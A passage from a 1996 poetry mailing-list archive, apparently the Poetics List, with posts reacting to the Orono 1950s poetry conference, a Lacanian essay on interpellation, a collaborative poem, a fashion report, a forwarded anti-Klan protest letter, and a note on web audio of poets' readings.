What assumptions inform an academic urge to "EXPOSE" one's sexual preference--one's "object choices." I am genuinely curious here. Also worried about what I see is POSSIBLY an academic urge for REVENGE against, er, "poetic license"--the "freedom of the poet" etc--Revenge through creating a climate of

critique that if taken TOO SERIOUSLY by poets (realizing that "theory" does not always "follow" "practice"--and that certain poets write a certain way BECAUSE of the theoretical climate, and the "war" between "poetry" and "theory" which I believe is still "not over") can become a TABOO as if one shouldn't write about sex or love AT ALL anymore except in the most goody-goody of ways and not dare saying anything that might be perceived as racist or sexist etc. What IS racist, or sexist? The fact that less than 1% of the people who gave papers at ORONO were black (african-american) may have been the MOST RACIST thing about the conference--at least as racist as the mostly DEAD POETS being discussed (we can't change the past, but we CAN change the present). When we're dealing with the subtlety of O'hara can a white person really determine what is racist? Or what IS the point? The Gender question, however, is different---1) because there were more women at the conference (though still far less than men) and 2) because the poets of the 50's--again as DuPlessis shows--or at least many of the male poets of that period-- did not seem to problematize gender very much at all----in fact, a poem that was read from the Rothenberg Joris anotholgy became a hot site of contention among many women in a conversation I witnessed. It was a poem that it seemd was picked for its "humour" value--but the assumptions that poem seemed to make about "little ladies" did not seem to be questioned AT ALL. Yet, why do I consder the feminist critiques to be more valuable than the race-based ones? Perhaps because WOMEN made the former while WHITES made the latter. Well, surely that would never hold up in an academic court. But, as the court jester, let me throw it out and hope it will be taken seriously. Also, becase the feminist critique PERSONALIZES the political in a way the racial critique doesn't. In terms of O'hara (the poet for wom the strongest racial critiques seemed to be made), I think as much can be learned (if academically analyze we must!) from contextually race in terms of sexual politics. Because he was gay, the feminist strategy of the MALE DOUBLE STANDARD in terms of objectfying woman can not be levied as much. But how does QUEER THEORY deal with a man objectifying another man? An open question... And what ever happened to the "separate spheres"? I.e.--in one's "political" poems, a very different attitude may present itself than in one's "amoral, sexual" poems. Why does such an attitude seem so discredited. I was talking to Paul Naylor about this seemingly MARKET demand for "theoretical consistency" and its discontents. I thought that Robert Von Hallberg actually made an interesting gesture in this respect that can actually be quite revolutionary. He did a reading of ROBERT HAYDEN'S "aspiration to universality." And read some poems by Hayden that can be seen as, if not ENTIRELY ahistorical, at least not entirely race based (though I would argue that even "those winter sundays" is CLASS based. Yet, he also read some poems by HAYDEN that were quite specifically UN-UNIVERSAL.

Showing that hayden spoke from, as, different "subject positions." The idea that a poet can speak as a "human" at one time, speak as a "BLACK man" another time and as a black MAN" another time--to name just three overlapping ones. It seems each poem demands a different way of reading it. Of course, I'm just fostering my own agenda that privileges poetry over theory as such. ---- _____ This has gone on way too long (joe amato-esque), and barely scratched the surface--but I hope some of these questions will be taken seriously. (even if you gotta ASSASINATE ME BORROWED ORCHARDS). I also have notes about Perelman's and Altieri's (to my mind) somewhat parrellel attempts to question the cult of the avant-garde hip-straight division by arguing that Rich and Plath respectively need to be taken at least as seriously as Olson and Creeley and O'Hara. That's part of how I read their papers anyway.....(chris stroffolino

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354. **Ron Silliman**

Stuff

Mon 24 Jun 1996

Ken,

Are you suggesting that Carcanet was the intended object of the IRA bomb? Or merely incidental?

Are any of the Oronians out there ready yet to report on the conference?

All best,

Ron Silliman

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355. **henry gould**

Re: some questions from orono (tentative toe testing)

Mon 24 Jun 1996

On Sun, 23 Jun 1996 22:59:42 -0400 Chris Stroffolino said:
Also worried about what I see is POSSIBLY
> an academic urge for REVENGE against, er, "poetic license"--the "freedom
> of the poet" etc--Revenge through creating a climate of critique that
> if taken TOO SERIOUSLY by poets (realizing that "theory" does not
> always "follow" "practice"--and that certain poets write a certain
> way BECAUSE of the theoretical climate, and the "war" between "poetry"
> and "theory" which I believe is still "not over") can become a TABOO
> as if one shouldn't write about sex or love AT ALL anymore except in

> the most goody-goody of ways and not dare saying anything that might
> be perceived as racist or sexist etc.

This reminds me of something someone mentioned to me at another conference (the Hoboken Russ-Amer conference). Elena Shvarts (loosely translated for me by Tom Epstein) was saying she was interested in the concept of scandal as the motive force of change in life. Her example was a very traditional authoritative one : Jesus (the Master) washing the feet of his students. People are scandalized by the immoral - but also by the threatening, the different. And the two become confused. And so we have the scandal of the scandalized (the main engine of literary canonization). Mandelstam wrote that there are 2 kinds of literature - the official and the unofficial; the first is trash - the second, stolen air. This is the 3rd level - the scandal of officialization (or scandofishingfortroublization) - Henry Gould

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356. Chris Stroffolino

Re: 50s in Orono - the Reviews

Mon 24 Jun 1996

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loss----
i love "contemplating Sagetrieb"!----

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357. Loss Glazier

"50s in Orono - the Reviews"

Mon 24 Jun 1996

ANNOUNCEMENT: "50s in Orono - the Reviews" ---------- Maria Damon and I are soliciting reviews of this event. Post your review! (Thank you Chris!) In addition, we've contacted a number of our best writers in the field who will be filing reviews. There are some treats in store. Reviews posted here also to become part of a web-based book (even a photo or two). These will be something to look forward to... Stay tuned for more! (Simply post your contribution! If you have questions or etc. about the web book please contact us: ([redacted]) and Maria Damon ([redacted]). More soon ...

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358. **george hartley**
hailing Barry hailing
Mon 24 Jun 1996

I have so much I want to say & respond to and congratulate regarding the Maine conference, but I'll just start here with a response to Barry Watten's now infamous presentation on hailing in the fifties. I think a lot of things got lost in the characterizations of his talk that I heard.

1. NUDIES: Barry's talk was about interpellation, not about nudie pin-up girls. How did the pin-up industry as it existed in the fifties work as an interpellation process, & how was it related to other such processes? And was it possible for the pin-up girl herself to stage her image in a strategic way? This, it seems to me, was Barry's point.

2. AGENCY: Even if we discount the Betty-Page-as-performance-artist element, we are still faced with the agency of the pin-up image as the point of interpellation, as the locus of the gaze of the Other, as the command to the viewer to accept a certain subject-position in relation to the image. I am not suggesting in any way that this command (this call, this hailing) is the same for everyone. Gender, generation, class, education, and such will have complicated the particular "call" each of us hears and either accepts or not.

3. IT'S NOT ME: the interesting thing about Barry's presentation was that it forced the audience into the very point of being-hailed that he was discussing. To take myself as an example, I was made uncomfortable because I was being hailed as a male heterosexual voyeur at the same time that I was being hailed as an intellectual at a poetry conference for whom such images are calling me in a very different way. It was the tension between the extremes of these simultaneous and conflicting calls that I found interesting. And I'm sure we could multiply the various complex of calls as we examine the reaction of each member of the audience. I was called on to take on a certain identity in relation to the image--the image hystericized me, made me ask of it, "Why me? What is it in me that makes me what you say I am?"

4. HYSTERIA PRECEDES INTERPELLATION: This is where I want to intervene (at great length) in Barry's presentation and add that, contra Althusser, the effect of interpellation is not the subject but the subject-position; that is, interpellation is not a process of subjectivity but of subjectivization (the two moments must be kept distinct from one another). Since I have already written on this topic at length (in a discussion of Zizek's distinction between Althusser and Lacan) just two months ago, I'll paste that earlier discussion here as two extended footnotes.

EXTENDED FOOTNOTE 1: The Subject versus Subjectivization

Representation is a material practice whereby ideology is endowed with a material existence. According to the usual ("ideological") conception of the relationship between belief and practice, belief precedes practice. We kneel in church because we believe in God. In such a view every subject is endowed with a consciousness, believes in certain ideas and not in others, and freely acts according to his or her ideas. But Althusser is on this question Pascalian: we believe because we kneel. This ritual of kneeling is one of many which make up the material practice of what Althusser refers to as an ideological apparatus. In this way "ideas" have disappeared as a thing of the beyond while "their existence is inscribed in the actions of practices governed by rituals defined in the last instance by an ideological apparatus" (LP 170). Here is one way of elaborating on the claim that ideas are already on the side of representation: there is no ideology (representation) without the category of the subject:

I say: the category of the subject is constitutive of all ideology, but at the same time and immediately I add that the category of the subject is constitutive of all ideology insofar as all ideology has the function (which defines it) of "constituting" concrete individuals as subjects. In the interaction of this double constitution exists the functioning of all ideology, ideology being nothing but its functioning in the material forms of existence of that functioning. (LP 171)

Althusser fails to develop the full nature of this "double constitution," however, as he presents his theory of interpellation. According to his theory, subjects are produced through interpellation, which is precisely the function of ideology: the injunction for us to take upon ourselves our symbolic mandate, to assume the subject-position provided for us by the ideological call. Representation (the material practice of ideology) constitutes the representing subject; that is, representation represents the subject as the representing subject. Althusser describes this ideological hailing of the subject as follows:

I shall then suggest that ideology "acts" or "functions" in such a way that it "recruits" subjects among the individuals (it recruits them all), or "transforms" the individuals into subjects (it transforms them all) by that very precise operation which I have called interpellation or hailing, and which can be imagined along the lines of the most commonplace everyday police (or other) hailing: "Hey, you there!" Assuming that the theoretical scene I have imagined takes place in the street, the hailed individual will turn round. By this mere one-hundred-and-eighty-degree physical conversion, he becomes a subject. Why? Because he has recognized that the hail was "really" addressed to him, and that "it was really him who was hailed" (and not someone else). Experience shows that the practical telecommunication of hailings is such that they hardly ever miss their man: verbal call or whistle, the one hailed always recognizes that it is really him who is being hailed. And yet it is a strange phenomenon, and one which cannot be explained solely by "guilt feelings," despite the large numbers who

"have something on their consciences." Naturally for the convenience and clarity of my theoretical theater1 I have had to present things in the form of a sequence, with a before and an after, and thus in the form of a temporal succession. (LP 174)

Rather than a temporal succession, however, interpellation, Althusser contends, has always-already produced us as subjects: "Before its birth, the child is therefore always-already a subject, appointed as a subject in and by the specific ideological configuration in which it is 'expected' once it has been conceived" (LP 176). But how is this interpellation into subjects, this allotting of subject-positions, maintained? Through what Althusser refers to as a "duplicate mirror-system." We are subjects only through our subjection to the Subject-the Unique, Absolute, Other Subject, what Lacan refers to as the Master Signifier. Without this radically contingent externalized Other excluded from the round of subjectivity, the subjects cannot be "subjectivized." What Althusser doesn't recognize here, however, is that this excluded Subject is nothing but a stupid, senseless thing filling the crack of the social, the radical negativity of the split internal to Substance. Althusser describes the Subject in the following terms: "God thus defines himself as the Subject par excellence, he who is through himself and for himself ('I am that I am'), and he who interpellates the subject, the individual subjected to him by this very interpellation" (LP 179). The subject-Subject relationship is a double-mirror relationship, according to Althusser, in the sense that the subject needs the Subject (interpellation occurs through the Subject, Moses is called by God to do His bidding, Moses recognizes himself as "Moses" through this call) and the Subject needs the subjects (people were made in the image of God, even in their debauchery when they function as the "terrible inversion of his image in them"-the subjects are the Subject's reflections). What Althusser does not acknowledge is the Hegelian inflection of the Subject's self-relation in the claim "I am that I am." What we have here in this Fichtean Subject (I = I) is the tautological relationship of what Hegel refers to as the infinite judgment: this statement of pure identity folds in on itself and opens up the abyss, the radical negativity that characterizes the (Hegelian) subject, for the reduplication of the I as subject in the I as predicate illustrates that this Fichtean identity is nonidentical in that it cannot be both subject and its opposite, predicate. I = I becomes I = not-I through this very proposition of identity. The empty name of the subject is fleshed out with nothing but its own empty name as its predicate. The Subject as such, then, can never function as the point of self-reflection for the subjects, for they can only become subjectivized-reflected (take up their subject-positions) when the Subject-position is filled with some excluded, stupid object (the king's body, for example, the broken body of Christ, or the commodity functioning as the money-form). Thus Althusser's conception of interpellation gives us a theory of subjectivization, but

not of its prior moment as subject-as-radical-negativity. Subjectivization-interpellation is nothing but the attempt to cover over the traumatic recognition of the abyss of subjectivity as such. The Subject is thus identical in form to the infinite judgment or speculative proposition, "I am that I am," but precisely through the nonidentity which constitutes both.

As Zizek points out, the subject's congruency with the speculative proposition is also behind Lacan's conception of the subject, a conception which distinguishes Lacan from the post-structuralist notion of the subject-position, whereby in the latter the "subject" is an effect of a nonsubjective process. For Lacan, on the other hand, the subject is the empty place to be filled by subjectivization:

To put it simply: if we make an abstraction, if we subtract all the richness of the different modes of subjectivization, all the fullness of experience present in the way the individuals are "living" their subject-positions, what remains is an empty place which was filled out with this richness; this original void, this lack of symbolic structure, is the subject, the subject of the signifier. The subject is therefore to be strictly opposed to the effect of subjectivization: what the subjectivization masks is not a pre- or trans-subjective process of writing but a lack in the structure, a lack which is the subject. (SOI 175)

What cannot be accounted for in Althusser's account of interpellation is the failure of subjectivization. This failure is not just absolute failure in the sense of individuals who refuse to heed the interpellative call (Althusser's "bad subjects" who provoke the intervention of the Repressive State Apparatus when the Ideological State Apparatuses fail); even in the seemingly successful examples of interpellated subjects there remains a traumatic, antagonistic kernel which resists symbolization. The point is not that this failure refutes the theory of interpellation; quite the opposite, this failure, this little leftover of the Real is interpellation's condition of possibility. This failure is thus a necessary failure, for without this point of negativity in the midst of the symbolic, the space for the subject-position could never open up. This negativity, this radical split of the social-symbolic is subjectivity itself. The subject, then, opens up the space for subjectivization. The surplus object resisting symbolization is the materialization of the abyss of subjectivity, the subject which is internally split in relation to its own incommensurable surplus object (the formula for which is Lacan's $×a). This surplus is the hook upon which the symbolic fastens itself in the process of identification or interpellation. "The process of interpellation-subjectivization is precisely an attempt to avoid this traumatic kernel through identification: in assuming a symbolic mandate, in recognizing himself in the interpellation, the subject evades the dimension of the Thing" (SOI 181). Without this little piece of the Real, that thing in me more than me, the symbolic is desubjectivized: thrown into the abyss of subjectivity, caught in the vicious circle of radical negativity.

EXTENDED FOOTNOTE 2: Successful interpellation indicates that we have accepted our symbolic mandate: we have taken on the identity presented to us by the big Other. What is passed over in Althusser's theory, however, is the hystericization of the subject which is at one and the same time the necessary condition for and the reminder of the impossibility of interpellation or subjectivization. The hysteric is both the precondition for and the resistance to successful interpellation.

The initial moment of hystericization is the provocation of the feeling of guilt. The symbolic order, the big Other, poses the questions, "What were you doing?" "What is the meaning of this?" "Who is responsible for this?" The response of the addressee of these questions is guilt and shame for, even though the individual may be "innocent" and "ignorant," the form of the question itself produces the scene of guilt. We are guilty even if we have done nothing; in fact, we are guilty precisely because we can do nothing. The question from the Other, then, is basically obscene in the way it exposes the degree to which such questions are unanswerable. Such is the real purpose of such questions: not to elicit a "true" answer but to reveal the impossibility in the subject in relation to the Other as interrogator. The only answer to these questions is the subject itself, the subject as "the void of the impossibility of answering the question of the Other" (SOI 178). The subject does not have the answer; the subject is the answer to this questioning-the answer of the Real. The question points to that object within the subject, that innermost point of intimacy which Lacan refers to as objet petit a. The question confronts us with the Thing inside us, the object to which the big Other draws our attention but which can never be symbolized, the object to which the Other draws our attention because it cannot be symbolized, because the object itself is nothing but the remainder or leftover of the signifying process itself, the horrifying object which embodies our jouissance and thus both attracts us and repels us at the same time, thereby producing guilt. This attraction/repulsion relationship to the object inside us splits us: such is the constitution of the split subject of desire as the answer of the Real to the question of the Other:

The question as such produces in its addressee an effect of shame and guilt, it divides, it hystericizes him, and this hystericization is the constitution of the subject: the status of the subject as such is hysterical. The subject is constituted through his own division, splitting, as to the object in him; this object, this traumatic kernel, is the dimension that we have already named as that of a "death drive," of a traumatic imbalance, a rooting out. Man as such is "nature sick unto death," derailed, run off the rails through a fascination with a lethal Thing. (SOI 180-81)

This confrontation with the traumatic Thing is the subject as such. Interpellation, on the other hand, is the attempt to avoid exactly this confrontation. This

is the difference between subject and subjectivization: the subject is constituted by the negativity of the traumatic Thing which is the remainder of symbolization; subjectivization-interpellation is the avoidance mechanism in response to this Thing of the Real, the attempt to outstrip our guilt. Interpellation functions as the identification of the subject with the Law as symbolic order, the superego function which maintains the illusion of social cohesion; hystericization functions as the identification with the obscene side of the superego, the side which demands that we "Enjoy!" and which constitutes both subjectivization as such (as the avoidance of just this impossible demand) and the impossibility of subjectivization (as the irreducible kernel of the Real at the heart of the Symbolic which frustrates the illusion of symbolic totalization).1

The hysteric, as we have then seen, is the subject constitutive of interpellation. But the hysteric who remains despite this subjectivization is the one who refuses this symbolic mandate, who refuses to be subjectivized or interpellated. The hysteric, above all, seeks to maintain his or her desire by continually deferring its satisfaction (at which point it would no longer be desire). The hysterical response to any potential solution to the deadlock of the subject caught between the attraction to and repulsion from the Thing is to say, "No, that is not it!" The symbolic mandate conferred on the hysteric would be such a resolution and must, therefore, be resisted in deference to the object within, which this mandate seeks to displace from view. As the inverse of the symbolic mandate, however, the hysteric's act remains tied to the Symbolic (unlike the psychotic whose total lack of identification dissolves any tie with the Symbolic whatsoever).

The hysteric's basic act is the transformation or conversion of this deadlock into its own embodiment, the symptom. The hysteric thus stages what Zizek refers to as "hysterical theater": the hysterical symptom gives body to the deadlock which cannot be symbolized. That which cannot be spoken is converted into body language-just think of a nervous twitch or an inexplicable paralysis whereby an unacknowledged psychic deadlock seeks resolution through this body language: "What we have here is quite literally a 'conversion': the figuration ('acting out') of a theoretical impasse (of the 'unthought' of a theoretical position) and at the same time the inversion best rendered by one of Hegel's constant rhetorical figures: when, for example Hegel deals with the ascetic's position, he says that the ascetic converts the denial of the body into the embodied denial" (FTK 143). Zizek explains the drive behind this inversion as follows:

According to Lacan, the fundamental experience of man qua being-of-language is that his desire is impeded, constitutively dissatisfied: he "doesn't know what he really wants." What the hysterical "conversion" accomplishes is precisely an inversion of this impediment: by means of it, the impeded desire converts into a

desire for impediment; the unsatisfied desire converts into a desire for unsatisfaction; a desire to keep our desire "open"; the fact that we "don't know what we really want"-what to desire-converts into a desire not to know, a desire for ignorance . . . . Therein consists the basic paradox of the hysteric's desire: what he desires is above all that his desire itself should remain unsatisfied, hindered-in other words: alive as a desire. (FTK 143-44)

The hysterical subject who "does not know what he wants" desires the desire of the Other. That is, the hysteric identifies with the gaze of the Other, the point in the symbolic order from which the hysteric sees himself as desirable. The hysteric does not identify with a subject-position in the sense of taking on that particular symbolic mandate as the point of his own desire (subjectivization) but as the point of the Other's desire. The job of ideology criticism, then, is to identify the position in the Other which functions as the desire which the hysteric desires to please.

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359. Chris Stroffolino

Re: "50s in Orono - the Reviews"

Mon 24 Jun 1996

Colloboration POEM composed on BUS 210 en route to the
Heaths of Cadillac Mountain ("methinks the ground is flat"---KING LEAR)
by, I think, every bus member and read by Nathalie and Michael Bassinski--
(loss, i think you should publish this in your website too!)

EMPHASIZED BY GREEN IN THE POST-CONFESSIONAL CONSTRUCTIVIST RAIN
anthem for doomed youth like a truck stop siren
but she bought four burps and a bitch
so they decided simply to shut up and do it
oh, the flight of the candor
cantor
canteen
pass water
I have boring bees she sd.
and then came up from seeds
prune the main roads into wet curls
please don't sit on the waterbed of roses

Sometimes I look up and smile for a satellite photo
from the spiky (+++++++ untranslatable) of peg's toil
to the lathe booo mooose, buffy, now stuck in the zoo
green hat blue noise.

What whiteness like this whiteness,
what candor?
Bar harbor. Bah humbug!

Every toenail throbs like a sparkler.
Poems aren't found they are MADE
The first point is the nation from which the demon(?) dawn
may be seen the hive that is a mummy's mask
but only when viewed by a mummy
what thou lovest well in Maine?
lordly women to heaven overgiven
"I'll trade you a winter for two summers"
until the wall waits to window childlike
departures
I myself am smell/well/fell/dell/George
spilling its ashes(?) of jam at the MLA convention
(ALMS) and, with a scream, collecting coke bottles,
the armless cowboy ignites a marshmellow and mosies away
"old people should be forced to watch"
But what?
----------(i don't know all the authors names)

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360. Gabrielle Welford
KKK in Ann Arbor, MI (fwd)
Mon 24 Jun 1996

Anyone was there? Gab.

The following is the text of a June 23, 1996 letter sent to the Ann Arbor News from Ann Arbor Organizing Against the Klan (A2 OAK)
-=-

To the Editor:

Media coverage of the June 22 Ann Arbor counter-demonstration against a Ku Klux Klan rally was both distorted and omitted almost all mention of the widespread police brutality that took place against counter-demonstrators. Ann Arbor Organizing Against the Klan (A2 OAK), a community coalition of sixteen local groups and many individuals, wishes to set the record straight.

There were numerous incidents of unprovoked police violence against not only the 600 or more assembled counter-demonstrators, but also bystanders and passersby. Tear gas was randomly shot into the crowd with no order to

disperse ever given. Protesters who did nothing illegal were randomly maced. Several of the eight people arrested were beaten and maced while they were already handcuffed and in police custody and were offering absolutely no resistance at that time. One passerby who did not even participate in the counter-demonstration was maced apparently for questioning a police officer. Police maced a man holding a baby. A puppy belonging to a counter-demonstrator was repeatedly and deliberately kicked and maced. A woman organizer for A2 OAK was maced after the rally was over as she was walking to her car; the police stopped their car, rolled down the window and sprayed mace in her face. These are but a few of the instances of police brutality that took place that day. In reality, it was this widespread use of police violence that provoked counter-demonstrators to anger, not the other way around.

In a highly revealing view of racism in the criminal justice system, of the six white and two Black people arrested, all the white arrestees were released on personal recognizance; the Black arrestees were forced to post bond!

All told, 200 cops from several different police departments were deployed to protect the KKK, a group whose history of murder and racist terror are well-known. This deployment consisted of tens of thousands of tax dollars spent on erecting fences around City Hall, blocking and re-routing traffic, paying for overtime for the police, providing transportation for the KKK to and from the rally site, and allowing the KKK access to the second floor terrace of City Hall as a staging area for their rally. Apparently one has to advocate genocide in order to be afforded these amenities. This goes way beyond any issue of "free speech." The police did everything possible to ensure that the Klan had a successful rally. However, despite the unprecedented display of police protection for these advocates of mass murder, including police statements prior to the event calling on local citizens to avoid the anti-racist demonstration, 600 plus people were able to successfully drown out the message of hatred of the Klan and outnumber these fascists by over 30 to 1.

Furthermore, the Ann Arbor News inaccurately reported that "protest groups" had been threatening violence "all week" before the rally. This is patently false. As a broad-based community and campus ad hoc coalition of diverse groups and individuals - Black, white, Latino, Asian, gay, straight, religious, non-religious, young and old - A2 OAK encompassed a variety of political and tactical opinions. Our plan was for a massive anti-fascist demonstration to be held at the same place prior to the appearance of the Klan so that these proponents of lynching and the torching of Black churches would think twice about organizing for racial terrorism in our city. That would have been the least violent of all the alternatives. Instead, the police thwarted this by militarily blockading City Hall with fences and 200 cops menacing anti-racist protesters, issuing provocative statements designed to scare potential counter-demonstrators, and brutalizing

protesters who courageously resisted these police threats and stood up against a group organizing for political power based on a program of genocide.

In view of this display of police brutality in Ann Arbor on June 22, A2 OAK demands the following:

1. Drop all charges against the eight people arrested.
2. The immediate unpaid suspension of those police officers involved in brutalizing counter-demonstrators and passersby.
3. An independent investigation of overall police conduct and tactics on June 22.

In addition, A2 OAK urges all member of the community to picket and pack the preliminary examination hearing of the Ann Arbor 8 on July 3 at 12:30pm outside of 14-A District Court at Washtenaw and Hogback in Ann Arbor.

Paul Lefrak
Barbara Pliskow,
for Ann Arbor Organizing Against the Klan (A2 OAK)

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361. Pierre Joris
Query
Mon 24 Jun 1996

Does anybody on the list have Robnert Haas' snail mail address. If so please contact me backchannel. Thanks -- Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

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362. Pierre Joris
music info on web
Mon 24 Jun 1996

Thot some on the list may be interested in the following www addresses which a friend just sent me:

[stuff cut out].... these are URL's for Steve Lacy. The second one is his discography.

http://www.imaginet.fr/~senators/

http://www.nwu.edu/WNUR/jazz/artists/lacy.steve/discog.html

This is the URL for the European Free Improv. page:

http://www.shef.ac.uk/misc/rec/ps/efi/ehome.html

Cadence also has a listing (albeit somewhat dated) on the web at:

http://www.nwu.edu/jazz/cadence/

"To feel is perhaps the most terrifying thing in this society" Cecil Taylor 1975

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363. Henry Gould
Re: hailing Barry hailing
Mon 24 Jun 1996

Hail, stupid, senseless Thing!
Hail, I-O-U big Unknown Idiotallergy!
Hail, obscene confusion of the Two into the One!
Hail, repro-constriction of the thrown Throat of the Subject!
Hail, lil a of the petty Fours!
Hail, Ex-plained Village of the Plains!
Hail, hysterias of the heterohomo Cities of the Plain old Scandal Histories!
Hail, and Farewell! Hello Again!!

- Henry Hale Gould

p.s.
Hail, word-mongers of the invio-labile!
Hail, droning of the Girlie Pics sad leftover feeling of Know-it-All Geritol!
Hail, Time Burp of the Latter Hailstorms!
Hail... Hail... Barristers of Barratrocious Bare-it-Alls!
Hail, snail mail - I'm coming!! Slow but Subjective!!

↑ Index

364. Chris Stroffolino
Re: Query
Mon 24 Jun 1996

Another QUERY---
Is Doug Messerli still on this list?
If he's not does anybody know his backchannel address?

And when are those GERTRUDE STEIN AWARD 1994-95 books coming out?
Chris Stroffolino

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365. **Burt Kimmelman**
Re: 50s in Orono - the Reviews
Mon 24 Jun 1996

Loss,

Admirably summed up! Will you see to it that Burt Hatlen et al. get a copy of it?

Burt

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366. **Kevin Killian**
Fashion Report, dateline Orono
Mon 24 Jun 1996

This is Kevin Killian speaking. I know I was assigned to write the fashion news of the Orono Conference, and Dodie Bellamy was going to assist, but I'm sorry, Loss . . . there's too little to report. This was not the event to send the designers of Milan and New York scurrying for another profession. Everybody looked okay, but the weather was too hot, then too cold, so what could we do? It was so cold I saw all these people formerly with good sense descend on the Student Union and buy these terrible oversized sweatshirts and sweat pants, etc., then they wore them in public, and I couldn't blame them.

The only person who kept a style throughout was the mysterious Starr Black, who kept appearing in one variation after another of an essentialist Starr Blackness. Even if you didn't know her name, you know exactly who I'm talking about and the kind of Ralph Lauren meets Alexandra Neel outfits she wore. Those green mossy skirts and heather Fair Isle sweaters and the pins and cameras. As far as I'm concerned she was the fashion triumph of the week.

Runners-up: Roger Conover, resplendent in emerald green, his fringe of hair tied back a la Hal Robins from the Church of the Sub Genius; Nick Lawrence, dapper as a villain in an Edith Wharton novel; Sharon Thesen, who arrived in the middle of the night in a slinky cocktail number from Vicky Tiel.

Here's Mr. Blackwell's final category: The Fabulous Fashion Independents. This prize we award to two unidentified men seen one night at the dorm cash bar extravaganza animated in complementary patchwork madras-plaid jackets. Does anyone out there know *where* these jackets are popular or indeed

manufactured? I want one! E.T. call home! Speaking of origin, does anybody know why those ethno-poetic guys all carry the same hippy bags? Jerome Rothenberg, you're on this list, did those bags come with a gamelan inside?

Fashion disaster? No question about it: the official conference T shirt which, I see, has already been alluded to several times in previous posts. On the front it says, you know, "National Poetry Foundation/conference/American Poetry of the 1950s/June 19-23, 1996/Orono Maine" and on the back it has a list of the twenty or so soi-disant "plenary speakers"-no, not a list, a constellation, for each name mounts or falls on its separate diagonal, all in this revoltingly un-designed plain serif typeface, italics galore. From the moment I saw those T-shirts neatly stacked on a long deal table, all folded in a variety of Maine colors-Martha Stewart colors-I knew I had to have one. When you see it you will rub your eyes thinking, "It had to happen!" Clever Bruce Campbell was spotted wearing a T-shirt from a previous conference, must have been on Pound, that said "Make It New" tempered with a line of bold Chinese ideograms.

More later on more "heady" topics.

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367. Paul Naylor
Oronomics
Mon 24 Jun 1996

Just thought I'd chime in on the Orono conference, which was, for me, the best academic conference I've attended. Most conferences make me think seriously about returning to my career in auto part sales -- they typically seem to be more about networking than connecting. Orono struck me as more about the latter than the former: connections between generations (at least three, maybe four, says Keith Tuma) and traditions (connecting not via some essence but, as Wittgenstein would say, via family resemblances), between ways of writing and reading and disseminating, etc. Since I don't live in or near a poetry hotbed like Buffalo or San Francisco or Washington D.C., experiencing some of those connections was as nourishing as it was exhausting.

My only suggestion is that next time we sell official conference underwear with the names of the non-plenarians emblazoned thereon.

Paul Naylor
MAIL
SEND
in%"[redacted]"
in%"[redacted]"

SEND
in%"[redacted]"
in%"[redacted]"

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368. **Charles Bernstein**
[redacted]
Mon 24 Jun 1996

Martin Spinelli has been putting up on the EPC the first of the series of LINE-break radio programs that we made together over the past year. These 30-minute shows include readings as well as discussion. Already up are interviews with Robert Creeley, Jena Osman, Ray Federman, Ron Silliman, Cecilia Vicuna, Dennis Tedlock, Steve McCaffery, and Fiona Templeton. Another twenty or so are in the works. I believe that sound files on the web will fundamentally change access to the archive of poets' reading their work. At this time, we realize we are using formats that many of you will not yet have easy access to. But we feel it is necessary to get this material in place for the time when playing digital sound files will be more accessible. (Some time in the future, we plan to distribute the program via audio cassette; however, cassettes are not available at this time.) Our first choice, radio, is limited by the culturally benighted attitude toward that medium by most commercial and noncommercial radio operators.) Martin has insisted that our first priority be to make available the best quality sound possible. This he has done. The sound files take up a lot of memory and take a long time to download. However, once you have done this, you will have sound that is good as any recorded poetry I have ever heard. Soon, it will also be possible to play our sound files with RealAudio; that allows immediate playing at roughly telephone quality. I think in the end this will be the most appealing way for most people to play these files, but it would not be satisfactory as the only way to have them available.
The world of sound files can be quite confusing. First off, you need to have a sound card installed in your computer; that is, if it didn't come with the computer, as it does on Macs and many PCs. You also need to have speakers; most internal computer speakers are of course not going to be as good as plugging in better speakers (I plugged my sound card into the same mini speakers I use for my stereo system). (Martin notes that you'll need to download the speaker driver (speak.exe) from our info page if you want to use your internal speaker.)

The next problem is that sound files come in different and incompatible formats (most commonly .wav and .au and .mpeg); that means you have to have several different sound or media players: (NAPplayer comes with Netscape (and plays .au files) and windows PCs come with a "Media Player" (for .wav files). LINEbreak files are mostly in .MPEG and that requires that you

download a player for that, though the ones we recommend for that will play some of the other formats as well. Finally, you have to tell Netscape or your web browser what to do when you click on a sound file: download to your hardrive or play as soon it loads up in your RAM. We recommend that you download our sound files, as it may take four hours to download a full 30-minute show (with a fast modem). But we have also put up short files, mostly of single poems, and those take condiderably less time. In any case, if you download to your hard drive, you can easily play the file over again, don't have to stay on-line, and can more easily record it on a tape. If you don't download it to your hard drive, you get to play it just while you are on-line (and have to pay attention to when it finishes dowloading to RAM). Martin has written very clear, step-by-step instructions on how to use our sound files. These instructions are far more helpful that those provided by the software manufactures. You will find these, and the programs, at
http://writing.upenn.edu/epc/linebreak

One more thought about access. While few will have access to the technology that makes these sound files available, our commitment here, is, nonetheless, to creating at the greatest possible public access to these sound files. We expect that schools at all levels, from lower schools to universities, as well as public libraries, will acquire the technology to gain access to such files (due to the increased commercializing of the Web, not because material such as ours is available!). And we are committed to making all these files, indeed all the material on the EPC, free and unrestricted. This is a public space, even if only a small portion of the public is able to enter into it. Nonetheless, given the scale of poetry in North American, our collection of poets' voices promises to make such material far more accessible than it has been in the past. This activity is only possible because it is supported by a public university and, perhaps more crucially, produced through the unpaid labor of people committed to making poetry available in the newly emerging public spaces of the Internet. (It helps, as with so many projects in the Poetics Progam at UB, that we have small amounts for seed money and to cover some cash outlays.) Martin Spinelli – who is not a poet, but a radio producer and a graduate student at UB working on utopian thinking starting in the 19th century in the UK – has put in hundreds and hundreds of hours into engineering, editing, distributing LINEbreak; he has also taken in upon himself to learn about the possibilities of sound on the net.

Please let Martin and me know what you think about LINEbreak – the shows or the technology we are using to make them available.

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369. David Kellogg
my hero barry watten
Mon 24 Jun 1996

